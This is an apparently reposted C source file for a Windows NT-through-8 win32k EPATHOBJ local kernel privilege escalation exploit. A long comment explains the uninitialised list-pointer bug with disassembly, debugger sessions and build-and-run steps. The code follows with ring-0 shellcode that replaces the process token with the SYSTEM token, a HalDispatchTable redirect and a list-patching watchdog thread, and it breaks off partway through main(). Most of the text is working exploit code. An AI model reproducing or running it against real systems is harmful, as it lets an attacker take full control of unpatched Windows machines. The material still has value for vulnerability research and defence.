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Windows NT/ Windows 8 EPATHOBJ Local Ring 0 Exploit

kevin25
Jun 3rd, 2013
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  1. #ifndef WIN32_NO_STATUS
  2. # define WIN32_NO_STATUS
  3. #endif
  4. #include <stdio.h>
  5. #include <stdarg.h>
  6. #include <stddef.h>
  7. #include <windows.h>
  8. #include <assert.h>
  9. #ifdef WIN32_NO_STATUS
  10. # undef WIN32_NO_STATUS
  11. #endif
  12. #include <ntstatus.h>
  13.  
  14. #pragma comment(lib, "gdi32")
  15. #pragma comment(lib, "kernel32")
  16. #pragma comment(lib, "user32")
  17. #pragma comment(lib, "shell32")
  18. #pragma comment(linker, "/SECTION:.text,ERW")
  19.  
  20. #ifndef PAGE_SIZE
  21. # define PAGE_SIZE 0x1000
  22. #endif
  23.  
  24. #define MAX_POLYPOINTS (8192 * 3)
  25. #define MAX_REGIONS 8192
  26. #define CYCLE_TIMEOUT 10000
  27.  
  28. //
  29. // --------------------------------------------------
  30. // Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
  31. // ----------------------------------------- taviso () cmpxchg8b com -----
  32. //
  33. // INTRODUCTION
  34. //
  35. // There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
  36. // PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
  37. // next list pointer. The bug is really nice, but exploitation when
  38. // allocations start failing is tricky.
  39. //
  40. // ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ     *this,
  41. //                                        PATHRECORD   **pppr,
  42. //                                        ULONG         *pcMax,
  43. //                                        ULONG cNeeded)
  44. //  .text:BFA122CA                 mov     esi, [ebp+ppr]
  45. //  .text:BFA122CD                 mov     eax, [esi+PATHRECORD.pprPrev]
  46. //  .text:BFA122D0                 push    edi
  47. //  .text:BFA122D1                 mov     edi, [ebp+pprNew]
  48. //  .text:BFA122D4                 mov     [edi+PATHRECORD.pprPrev], eax
  49. //  .text:BFA122D7                 lea     eax, [edi+PATHRECORD.count]
  50. //  .text:BFA122DA                 xor     edx, edx
  51. //  .text:BFA122DC                 mov     [eax], edx
  52. //  .text:BFA122DE                 mov     ecx, [esi+PATHRECORD.flags]
  53. //  .text:BFA122E1                 and     ecx, not (PD_BEZIER)
  54. //  .text:BFA122E4                 mov     [edi+PATHRECORD.flags], ecx
  55. //  .text:BFA122E7                 mov     [ebp+pprNewCountPtr], eax
  56. //  .text:BFA122EA                 cmp     [edi+PATHRECORD.pprPrev], edx
  57. //  .text:BFA122ED                 jnz     short loc_BFA122F7
  58. //  .text:BFA122EF                 mov     ecx, [ebx+EPATHOBJ.ppath]
  59. //  .text:BFA122F2                 mov     [ecx+PATHOBJ.pprfirst], edi
  60. //
  61. //  It turns out this mostly works because newpathrec() is backed by newpathalloc()
  62. //  which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
  63. //
  64. //  ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
  65. //  .text:BF9160D7                 xor     esi, esi
  66. //  .text:BF9160DE                 push    esi
  67. //  .text:BF9160DF                 push    esi
  68. //  .text:BF9160E0                 push    [ebp+tag]
  69. //  .text:BF9160E3                 push    [ebp+size]
  70. //  .text:BF9160E6                 call    _HeavyAllocPool () 16 ; HeavyAllocPool(x,x,x,x)
  71. //  .text:BF9160EB                 mov     esi, eax
  72. //  .text:BF9160ED                 test    esi, esi
  73. //  .text:BF9160EF                 jz      short loc_BF9160FF
  74. //  .text:BF9160F1                 push    [ebp+size]      ; size_t
  75. //  .text:BF9160F4                 push    0               ; int
  76. //  .text:BF9160F6                 push    esi             ; void *
  77. //  .text:BF9160F7                 call    _memset
  78. //
  79. //  However, the PATHALLOC allocator includes it's own freelist implementation, and
  80. //  if that codepath can satisfy a request the memory isn't zeroed and returned
  81. //  directly to the caller. This effectively means that we can add our own objects
  82. //  to the PATHRECORD chain.
  83. //
  84. //  We can force this behaviour under memory pressure relatively easily, I just
  85. //  spam HRGN objects until they start failing. This isn't super reliable, but it's
  86. //  good enough for testing.
  87. //
  88. //          // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
  89. //          // failure. Seriously, do some damn QA Microsoft, wtf.
  90. //          for (Size = 1 << 26; Size; Size >>= 1) {
  91. //              while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
  92. //                  ;
  93. //          }
  94. //
  95. //  Adding user controlled blocks to the freelist is a little trickier, but I've
  96. //  found that flattening large lists of bezier curves added with PolyDraw() can
  97. //  accomplish this reliably. The code to do this is something along the lines of:
  98. //
  99. //          for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  100. //              Points[PointNum].x      = 0x41414141 >> 4;
  101. //              Points[PointNum].y      = 0x41414141 >> 4;
  102. //              PointTypes[PointNum]    = PT_BEZIERTO;
  103. //          }
  104. //
  105. //          for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
  106. //              BeginPath(Device);
  107. //              PolyDraw(Device, Points, PointTypes, PointNum);
  108. //              EndPath(Device);
  109. //              FlattenPath(Device);
  110. //              FlattenPath(Device);
  111. //              EndPath(Device);
  112. //          }
  113. //
  114. //   We can verify this is working by putting a breakpoint after newpathrec, and
  115. //   verifying the buffer is filled with recognisable values when it returns:
  116. //
  117. //   kd> u win32k!EPATHOBJ::pprFlattenRec+1E
  118. //   win32k!EPATHOBJ::pprFlattenRec+0x1e:
  119. //   95c922b8 e8acfbffff      call    win32k!EPATHOBJ::newpathrec (95c91e69)
  120. //   95c922bd 83f801          cmp     eax,1
  121. //   95c922c0 7407            je      win32k!EPATHOBJ::pprFlattenRec+0x2f (95c922c9)
  122. //   95c922c2 33c0            xor     eax,eax
  123. //   95c922c4 e944020000      jmp     win32k!EPATHOBJ::pprFlattenRec+0x273 (95c9250d)
  124. //   95c922c9 56              push    esi
  125. //   95c922ca 8b7508          mov     esi,dword ptr [ebp+8]
  126. //   95c922cd 8b4604          mov     eax,dword ptr [esi+4]
  127. //   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+23 "dd poi(ebp-4) L1; gc"
  128. //   kd> g
  129. //   fe938fac  41414140
  130. //   fe938fac  41414140
  131. //   fe938fac  41414140
  132. //   fe938fac  41414140
  133. //   fe938fac  41414140
  134. //
  135. //   The breakpoint dumps the first dword of the returned buffer, which matches the
  136. //   bezier points set with PolyDraw(). So convincing pprFlattenRec() to move
  137. //   EPATHOBJ->records->head->next->next into userspace is no problem, and we can
  138. //   easily break the list traversal in bFlattten():
  139. //
  140. //   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  141. //   {
  142. //     EPATHOBJ *pathobj; // esi () 1
  143. //     PATHOBJ *ppath; // eax () 1
  144. //     BOOL result; // eax () 2
  145. //     PATHRECORD *ppr; // eax () 3
  146. //
  147. //     pathobj = this;
  148. //     ppath = this->ppath;
  149. //     if ( ppath )
  150. //     {
  151. //       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  152. //       {
  153. //         if ( ppr->flags & PD_BEZIER )
  154. //         {
  155. //           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  156. //           if ( !ppr )
  157. //             goto LABEL_2;
  158. //         }
  159. //       }
  160. //       pathobj->fl &= 0xFFFFFFFE;
  161. //       result = 1;
  162. //     }
  163. //     else
  164. //     {
  165. //   LABEL_2:
  166. //       result = 0;
  167. //     }
  168. //     return result;
  169. //   }
  170. //
  171. //   All we have to do is allocate our own PATHRECORD structure, and then spam
  172. //   PolyDraw() with POINTFIX structures containing co-ordinates that are actually
  173. //   pointers shifted right by 4 (for this reason the structure must be aligned so
  174. //   the bits shifted out are all zero).
  175. //
  176. //   We can see this in action by putting a breakpoint in bFlatten when ppr has
  177. //   moved into userspace:
  178. //
  179. //   kd> u win32k!EPATHOBJ::bFlatten
  180. //   win32k!EPATHOBJ::bFlatten:
  181. //   95c92517 8bff            mov     edi,edi
  182. //   95c92519 56              push    esi
  183. //   95c9251a 8bf1            mov     esi,ecx
  184. //   95c9251c 8b4608          mov     eax,dword ptr [esi+8]
  185. //   95c9251f 85c0            test    eax,eax
  186. //   95c92521 7504            jne     win32k!EPATHOBJ::bFlatten+0x10 (95c92527)
  187. //   95c92523 33c0            xor     eax,eax
  188. //   95c92525 5e              pop     esi
  189. //   kd> u
  190. //   win32k!EPATHOBJ::bFlatten+0xf:
  191. //   95c92526 c3              ret
  192. //   95c92527 8b4014          mov     eax,dword ptr [eax+14h]
  193. //   95c9252a eb14            jmp     win32k!EPATHOBJ::bFlatten+0x29 (95c92540)
  194. //   95c9252c f6400810        test    byte ptr [eax+8],10h
  195. //   95c92530 740c            je      win32k!EPATHOBJ::bFlatten+0x27 (95c9253e)
  196. //   95c92532 50              push    eax
  197. //   95c92533 8bce            mov     ecx,esi
  198. //   95c92535 e860fdffff      call    win32k!EPATHOBJ::pprFlattenRec (95c9229a)
  199. //
  200. //   So at 95c9252c eax is ppr->next, and the routine checks for the PD_BEZIERS
  201. //   flags (defined in winddi.h). Let's break if it's in userspace:
  202. //
  203. //   kd> ba e 1 95c9252c "j (eax < poi(nt!MmUserProbeAddress)) 'gc'; ''"
  204. //   kd> g
  205. //   95c9252c f6400810        test    byte ptr [eax+8],10h
  206. //   kd> r
  207. //   eax=41414140 ebx=95c1017e ecx=97330bec edx=00000001 esi=97330bec edi=0701062d
  208. //   eip=95c9252c esp=97330be4 ebp=97330c28 iopl=0         nv up ei pl nz na po nc
  209. //   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
  210. //   win32k!EPATHOBJ::bFlatten+0x15:
  211. //   95c9252c f6400810        test    byte ptr [eax+8],10h       ds:0023:41414148=??
  212. //
  213. //   The question is how to turn that into code execution? It's obviously trivial to
  214. //   call prFlattenRec with our userspace PATHRECORD..we can do that by setting
  215. //   PD_BEZIER in our userspace PATHRECORD, but the early exit on allocation failure
  216. //   poses a problem.
  217. //
  218. //   Let me demonstrate calling it with my own PATHRECORD:
  219. //
  220. //       // Create our PATHRECORD in userspace we will get added to the EPATHOBJ
  221. //       // pathrecord chain.
  222. //       PathRecord = VirtualAlloc(NULL,
  223. //                                 sizeof(PATHRECORD),
  224. //                                 MEM_COMMIT | MEM_RESERVE,
  225. //                                 PAGE_EXECUTE_READWRITE);
  226. //
  227. //       // Initialise with recognisable debugging values.
  228. //       FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
  229. //
  230. //       PathRecord->next    = (PVOID)(0x41414141);
  231. //       PathRecord->prev    = (PVOID)(0x42424242);
  232. //
  233. //       // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
  234. //       // EPATHOBJ::bFlatten(), do that here.
  235. //       PathRecord->flags   = PD_BEZIERS;
  236. //
  237. //       // Generate a large number of Bezier Curves made up of pointers to our
  238. //       // PATHRECORD object.
  239. //       for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
  240. //           Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
  241. //           Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
  242. //           PointTypes[PointNum]    = PT_BEZIERTO;
  243. //       }
  244. //
  245. //   kd> ba e 1 win32k!EPATHOBJ::pprFlattenRec+28 "j (dwo(ebp+8) < dwo(nt!MmUserProbeAddress)) ''; 'gc'"
  246. //   kd> g
  247. //   win32k!EPATHOBJ::pprFlattenRec+0x28:
  248. //   95c922c2 33c0            xor     eax,eax
  249. //   kd> dd ebp+8 L1
  250. //   a3633be0  00130000
  251. //
  252. //   The ppr object is in userspace! If we peek at it:
  253. //
  254. //   kd> dd poi(ebp+8)
  255. //   00130000  41414141 42424242 00000010 cccccccc
  256. //   00130010  00000000 00000000 00000000 00000000
  257. //   00130020  00000000 00000000 00000000 00000000
  258. //   00130030  00000000 00000000 00000000 00000000
  259. //   00130040  00000000 00000000 00000000 00000000
  260. //   00130050  00000000 00000000 00000000 00000000
  261. //   00130060  00000000 00000000 00000000 00000000
  262. //   00130070  00000000 00000000 00000000 00000000
  263. //
  264. //   There's the next and prev pointer.
  265. //
  266. //   kd> kvn
  267. //    # ChildEBP RetAddr  Args to Child
  268. //   00 a3633bd8 95c9253a 00130000 002bfea0 95c101ce win32k!EPATHOBJ::pprFlattenRec+0x28 (FPO: [Non-Fpo])
  269. //   01 a3633be4 95c101ce 00000001 00000294 fe763360 win32k!EPATHOBJ::bFlatten+0x23 (FPO: [0,0,4])
  270. //   02 a3633c28 829ab173 0701062d 002bfea8 7721a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo])
  271. //   03 a3633c28 7721a364 0701062d 002bfea8 7721a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ a3633c34)
  272. //
  273. //   The question is how to get PATHALLOC() to succeed under memory pressure so we
  274. //   can make this exploitable? I'm quite proud of this list cycle trick,
  275. //   here's how to turn it into an arbitrary write.
  276. //
  277. //   First, we create a watchdog thread that will patch the list atomically
  278. //   when we're ready. This is needed because we can't exploit the bug while
  279. //   HeavyAllocPool is failing, because of the early exit in pprFlattenRec:
  280. //
  281. //   .text:BFA122B8                 call newpathrec              ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
  282. //   .text:BFA122BD                 cmp     eax, 1               ; Check for failure
  283. //   .text:BFA122C0                 jz      short continue
  284. //   .text:BFA122C2                 xor     eax, eax             ; Exit early
  285. //   .text:BFA122C4                 jmp     early_exit
  286. //
  287. //   So we create a list node like this:
  288. //
  289. //   PathRecord->Next    = PathRecord;
  290. //   PathRecord->Flags   = 0;
  291. //
  292. //   Then EPATHOBJ::bFlatten() spins forever doing nothing:
  293. //
  294. //   BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
  295. //   {
  296. //       /* ... */
  297. //
  298. //       for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
  299. //       {
  300. //         if ( ppr->flags & PD_BEZIER )
  301. //         {
  302. //           ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
  303. //         }
  304. //       }
  305. //
  306. //       /* ... */
  307. //   }
  308. //
  309. //   While it's spinning, we clean up in another thread, then patch the thread (we
  310. //   can do this, because it's now in userspace) to trigger the exploit. The first
  311. //   block of pprFlattenRec does something like this:
  312. //
  313. //       if ( pprNew->pprPrev )
  314. //         pprNew->pprPrev->pprnext = pprNew;
  315. //
  316. //   Let's make that write to 0xCCCCCCCC.
  317. //
  318. //   DWORD WINAPI WatchdogThread(LPVOID Parameter)
  319. //   {
  320. //
  321. //       // This routine waits for a mutex object to timeout, then patches the
  322. //       // compromised linked list to point to an exploit. We need to do this.
  323. //       LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
  324. //                          GetCurrentThreadId(),
  325. //                          Mutex);
  326. //
  327. //       if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
  328. //           // It looks like the main thread is stuck in a call to FlattenPath(),
  329. //           // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
  330. //           // up, and then patch the list to trigger our exploit.
  331. //           while (NumRegion--)
  332. //               DeleteObject(Regions[NumRegion]);
  333. //
  334. //           LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
  335. //
  336. //           InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
  337. //
  338. //       } else {
  339. //           LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
  340. //       }
  341. //
  342. //       return 0;
  343. //   }
  344. //
  345. //       PathRecord->next    = PathRecord;
  346. //       PathRecord->prev    = (PVOID)(0x42424242);
  347. //       PathRecord->flags   = 0;
  348. //
  349. //       ExploitRecord.next  = NULL;
  350. //       ExploitRecord.prev  = 0xCCCCCCCC;
  351. //       ExploitRecord.flags = PD_BEZIERS;
  352. //
  353. //   Here's the output on Windows 8:
  354. //
  355. //   kd> g
  356. //   *******************************************************************************
  357. //   *                                                                             *
  358. //   *                        Bugcheck Analysis                                    *
  359. //   *                                                                             *
  360. //   *******************************************************************************
  361. //
  362. //   Use !analyze -v to get detailed debugging information.
  363. //
  364. //   BugCheck 50, {cccccccc, 1, 8f18972e, 2}
  365. //   *** WARNING: Unable to verify checksum for ComplexPath.exe
  366. //   *** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
  367. //   Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
  368. //
  369. //   Followup: MachineOwner
  370. //   ---------
  371. //
  372. //   nt!RtlpBreakWithStatusInstruction:
  373. //   810f46f4 cc              int     3
  374. //   kd> kv
  375. //   ChildEBP RetAddr  Args to Child
  376. //   a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
  377. //   a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
  378. //   a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
  379. //   a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
  380. //   a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
  381. //   a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
  382. //   a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
  383. //   a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
  384. //   a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
  385. //   a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
  386. //   a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
  387. //   a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
  388. //   0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
  389. //   0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
  390. //   WARNING: Stack unwind information not available. Following frames may be wrong.
  391. //   0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
  392. //   0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
  393. //   0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
  394. //   0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
  395. //   0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
  396. //   kd> .trap a03aba2c
  397. //   ErrCode = 00000002
  398. //   eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
  399. //   eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0         nv up ei ng nz na pe nc
  400. //   cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
  401. //   win32k!EPATHOBJ::pprFlattenRec+0x82:
  402. //   8f18972e 8918            mov     dword ptr [eax],ebx  ds:0023:cccccccc=????????
  403. //   kd> vertarget
  404. //   Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
  405. //   Product: WinNt, suite: TerminalServer SingleUserTS
  406. //   Built by: 9200.16581.x86fre.win8_gdr.130410-1505
  407. //   Machine Name:
  408. //   Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
  409. //   Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
  410. //   System Uptime: 0 days 0:02:30.432
  411. //   kd> .bugcheck
  412. //   Bugcheck code 00000050
  413. //   Arguments cccccccc 00000001 8f18972e 00000002
  414. //
  415. // EXPLOITATION
  416. //
  417. // We're somewhat limited with what we can do, as we don't control what's
  418. // written, it's always a pointer to a PATHRECORD object. We can clobber a
  419. // function pointer, but the problem is making it point somewhere useful.
  420. //
  421. // The solution is to make the Next pointer a valid sequence of instructions,
  422. // which jumps to our second stage payload. We have to do that in just 4 bytes
  423. // (unless you can find a better call site, let me know if you spot one).
  424. //
  425. // Thanks to progmboy for coming up with the solution: you reach back up the
  426. // stack and pull a SystemCall parameter out of the stack. It turns out
  427. // NtQueryIntervalProfile matches this requirement perfectly.
  428. //
  429. // INSTRUCTIONS
  430. //
  431. // C:\> cl ComplexPath.c
  432. // C:\> ComplexPath
  433. //
  434. // You might need to run it several times before we get the allocation we need,
  435. // it won't crash if it doesn't work, so you can keep trying. I'm not sure how
  436. // to improve that.
  437. //
  438. // CREDIT
  439. //
  440. // Tavis Ormandy <taviso () cmpxchg8b com>
  441. // progmboy <programmeboy () gmail com>
  442. //
  443.  
  444. POINT       Points[MAX_POLYPOINTS];
  445. BYTE        PointTypes[MAX_POLYPOINTS];
  446. HRGN        Regions[MAX_REGIONS];
  447. ULONG       NumRegion = 0;
  448. HANDLE      Mutex;
  449. DWORD       Finished = 0;
  450.  
  451. // Log levels.
  452. typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
  453.  
  454. BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
  455.  
  456. // Copied from winddi.h from the DDK
  457. #define PD_BEGINSUBPATH   0x00000001
  458. #define PD_ENDSUBPATH     0x00000002
  459. #define PD_RESETSTYLE     0x00000004
  460. #define PD_CLOSEFIGURE    0x00000008
  461. #define PD_BEZIERS        0x00000010
  462.  
  463. typedef struct  _POINTFIX
  464. {
  465.     ULONG x;
  466.     ULONG y;
  467. } POINTFIX, *PPOINTFIX;
  468.  
  469. // Approximated from reverse engineering.
  470. typedef struct _PATHRECORD {
  471.     struct _PATHRECORD *next;
  472.     struct _PATHRECORD *prev;
  473.     ULONG               flags;
  474.     ULONG               count;
  475.     POINTFIX            points[4];
  476. } PATHRECORD, *PPATHRECORD;
  477.  
  478. PPATHRECORD PathRecord;
  479. PATHRECORD  ExploitRecord;
  480. PPATHRECORD ExploitRecordExit;
  481.  
  482. enum { SystemModuleInformation = 11 };
  483. enum { ProfileTotalIssues = 2 };
  484.  
  485. typedef struct _RTL_PROCESS_MODULE_INFORMATION {
  486.     HANDLE Section;
  487.     PVOID MappedBase;
  488.     PVOID ImageBase;
  489.     ULONG ImageSize;
  490.     ULONG Flags;
  491.     USHORT LoadOrderIndex;
  492.     USHORT InitOrderIndex;
  493.     USHORT LoadCount;
  494.     USHORT OffsetToFileName;
  495.     UCHAR  FullPathName[256];
  496. } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
  497.  
  498. typedef struct _RTL_PROCESS_MODULES {
  499.     ULONG NumberOfModules;
  500.     RTL_PROCESS_MODULE_INFORMATION Modules[1];
  501. } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
  502.  
  503. FARPROC NtQuerySystemInformation;
  504. FARPROC NtQueryIntervalProfile;
  505. FARPROC PsReferencePrimaryToken;
  506. FARPROC PsLookupProcessByProcessId;
  507. PULONG  HalDispatchTable;
  508. ULONG   HalQuerySystemInformation;
  509. PULONG  TargetPid;
  510. PVOID  *PsInitialSystemProcess;
  511.  
  512. // Search the specified data structure for a member with CurrentValue.
  513. BOOL FindAndReplaceMember(PDWORD Structure,
  514.                           DWORD CurrentValue,
  515.                           DWORD NewValue,
  516.                           DWORD MaxSize)
  517. {
  518.     DWORD i, Mask;
  519.  
  520.     // Microsoft QWORD aligns object pointers, then uses the lower three
  521.     // bits for quick reference counting.
  522.     Mask = ~7;
  523.  
  524.     // Mask out the reference count.
  525.     CurrentValue &= Mask;
  526.  
  527.     // Scan the structure for any occurrence of CurrentValue.
  528.     for (i = 0; i < MaxSize; i++) {
  529.         if ((Structure[i] & Mask) == CurrentValue) {
  530.             // And finally, replace it with NewValue.
  531.             Structure[i] = NewValue;
  532.             return TRUE;
  533.         }
  534.     }
  535.  
  536.     // Member not found.
  537.     return FALSE;
  538. }
  539.  
  540.  
  541. // This routine is injected into nt!HalDispatchTable by EPATHOBJ::pprFlattenRec.
  542. ULONG __stdcall ShellCode(DWORD Arg1, DWORD Arg2, DWORD Arg3, DWORD Arg4)
  543. {
  544.     PVOID  TargetProcess;
  545.  
  546.     // Record that the exploit completed.
  547.     Finished = 1;
  548.  
  549.     // Fix the corrupted HalDispatchTable,
  550.     HalDispatchTable[1] = HalQuerySystemInformation;
  551.  
  552.     // Find the EPROCESS structure for the process I want to escalate
  553.     if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
  554.         PACCESS_TOKEN SystemToken;
  555.         PACCESS_TOKEN TargetToken;
  556.  
  557.         // Find the Token object for my target process, and the SYSTEM process.
  558.         TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
  559.         SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
  560.  
  561.         // Find the token in the target process, and replace with the system token.
  562.         FindAndReplaceMember((PDWORD) TargetProcess,
  563.                              (DWORD)  TargetToken,
  564.                              (DWORD)  SystemToken,
  565.                              0x200);
  566.     }
  567.  
  568.     return 0;
  569. }
  570.  
  571. DWORD WINAPI WatchdogThread(LPVOID Parameter)
  572. {
  573.     // Here we wait for the main thread to get stuck inside FlattenPath().
  574.     WaitForSingleObject(Mutex, CYCLE_TIMEOUT);
  575.  
  576.     // It looks like we've taken control of the list, and the main thread
  577.     // is spinning in EPATHOBJ::bFlatten. We can't continue because
  578.     // EPATHOBJ::pprFlattenRec exit's immediately if newpathrec() fails.
  579.  
  580.     // So first, we clean up and make sure it can allocate memory.
  581.     while (NumRegion) DeleteObject(Regions[--NumRegion]);
  582.  
  583.     // Now we switch out the Next pointer for our exploit record. As soon
  584.     // as this completes, the main thread will stop spinning and continue
  585.     // into EPATHOBJ::pprFlattenRec.
  586.     InterlockedExchangePointer(&PathRecord->next,
  587.                                &ExploitRecord);
  588.     return 0;
  589. }
  590.  
  591. // I use this routine to generate a table of acceptable stub addresses. The
  592. // 0x40 offset is the location of the PULONG parameter to
  593. // nt!NtQueryIntervalProfile. Credit to progmboy for coming up with this clever
  594. // trick.
  595. VOID __declspec(naked) HalDispatchRedirect(VOID)
  596. {
  597.     __asm inc eax
  598.     __asm jmp dword ptr [ebp+0x40]; //  0
  599.     __asm inc ecx
  600.     __asm jmp dword ptr [ebp+0x40]; //  1
  601.     __asm inc edx
  602.     __asm jmp dword ptr [ebp+0x40]; //  2
  603.     __asm inc ebx
  604.     __asm jmp dword ptr [ebp+0x40]; //  3
  605.     __asm inc esi
  606.     __asm jmp dword ptr [ebp+0x40]; //  4
  607.     __asm inc edi
  608.     __asm jmp dword ptr [ebp+0x40]; //  5
  609.     __asm dec eax
  610.     __asm jmp dword ptr [ebp+0x40]; //  6
  611.     __asm dec ecx
  612.     __asm jmp dword ptr [ebp+0x40]; //  7
  613.     __asm dec edx
  614.     __asm jmp dword ptr [ebp+0x40]; //  8
  615.     __asm dec ebx
  616.     __asm jmp dword ptr [ebp+0x40]; //  9
  617.     __asm dec esi
  618.     __asm jmp dword ptr [ebp+0x40]; // 10
  619.     __asm dec edi
  620.     __asm jmp dword ptr [ebp+0x40]; // 11
  621.  
  622.     // Mark end of table.
  623.     __asm {
  624.         _emit 0
  625.         _emit 0
  626.         _emit 0
  627.         _emit 0
  628.     }
  629. }
  630.  
  631. int main(int argc, char **argv)
  632. {
  633.     HANDLE               Thread;
  634.     HDC                  Device;
  635.     ULONG                Size;
  636.     ULONG                PointNum;
  637.     HMODULE              KernelHandle;
  638.     PULONG               DispatchRedirect;
  639.     PULONG               Interval;
  640.     ULONG                SavedInterval;
  641.     RTL_PROCESS_MODULES  ModuleInfo;
  642.  
  643.     LogMessage(L_INFO, "\r--------------------------------------------------\n"
  644.                        "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
  645.                        "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n"
  646.                        "\n");
  647.  
  648.     NtQueryIntervalProfile    = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
  649.     NtQuerySystemInformation  = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
  650.     Mutex                     = CreateMutex(NULL, FALSE, NULL);
  651.     DispatchRedirect          = (PVOID) HalDispatchRedirect;
  652.     Interval                  = (PULONG) ShellCode;
  653.     SavedInterval             = Interval[0];
  654.     TargetPid                 = GetCurrentProcessId();
  655.  
  656.     LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile);
  657.     LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation);
  658.  
  659.     // Lookup the address of system modules.
  660.     NtQuerySystemInformation(SystemModuleInformation,
  661.                              &ModuleInfo,
  662.                              sizeof ModuleInfo,
  663.                              NULL);
  664.  
  665.     LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p",
  666.                         ModuleInfo.Modules[0].FullPathName,
  667.                         ModuleInfo.Modules[0].ImageBase);
  668.  
  669.     // Lookup some system routines we require.
  670.     KernelHandle                = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName);
